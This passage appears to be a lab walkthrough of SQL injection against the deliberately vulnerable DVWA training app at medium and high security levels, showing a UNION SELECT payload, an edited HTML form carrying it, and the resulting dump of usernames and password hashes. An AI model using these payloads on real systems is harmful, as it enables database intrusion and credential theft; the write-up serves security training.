

We give 1' to end the query and UNION to add another query then # to comment the remaining comment.

1' UNION SELECT user, password FROM users#

User ID:

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Over here the first set is the result of the first query and the rest are of the injected query.

Therefore, Exploited.

SQL Injection – MEDIUM

User ID:

It seems we don't have a text box to input our query.

Lets see the code.

```
<div class= vulnerable_code_area >
  <form action="#" method="POST">
    <p>
      " User ID: "
      <select name="id"> == $0
        <option value="1">1</option>
        <option value="2">2</option>
        <option value="3">3</option>
        <option value="4">4</option>
        <option value="5">5</option>
      </select>
      <input type="submit" name="Submit" value="Submit">
    </p>
  </form>
</div>
```

Now lets replace the value of 1 with our injection code.

```
<form action="#" method="POST">
  <p>
    " User ID: "
    <select name="id">
      <option value="1' UNION SELECT user, password FROM users#">1
      </option>
      <option value="2">2</option>
      <option value="3">3</option> == $0
      <option value="4">4</option>
      <option value="5">5</option>
    </select>
    <input type="submit" name="Submit" value="Submit">
  </p>
</form>
```

Now submit.

User ID:

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Over here the first set is the result of the first query and the rest are of the injected query.

Therefore, Exploited.

SQL Injection – HIGH

It seems that we need to enter the ID in another page. But does not mean that the vulnerability doesn't exist.

Lets use,

1' union select user , password from users#

As the ID.

The screenshot displays a web application interface with a light green background. On the left, a series of red text blocks show the results of SQL injection attempts. Each block starts with 'ID: 1' UNION SELECT user, password FROM users#' followed by 'First name:' and 'Surname:'. The results show a progression from 'admin' to 'gordonb' to '1337' to 'pablo' to 'smithy'. A link 'Click [here to change your ID.](#)' is at the top left. On the right, a dark-themed modal window titled 'SQL Injection Session Input :: Damn Vulnerable Web Application (DVWA)' is open. It shows a warning 'Not secure' and the URL '192.168.37.158/vulnerabilities/sqli/session-input.ph'. The modal contains a text input field with the session ID '1' UNION SELECT user, password FROM users#' and 'Submit' and 'Close' buttons. At the bottom right, a snippet of CSS code is visible: 'body.home { background: > ■ #e7e7e7; }' and 'body {'.

Click [here to change your ID.](#)

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

SQL Injection Session Input :: Damn Vulnerable Web Application (DVWA)

⚠ Not secure 192.168.37.158/vulnerabilities/sqli/session-input.ph

Session ID: 1' UNION SELECT user, password FROM users#

Submit

Close

```
body.home {  
  background: > ■ #e7e7e7;  
}  
body {
```

Exploited.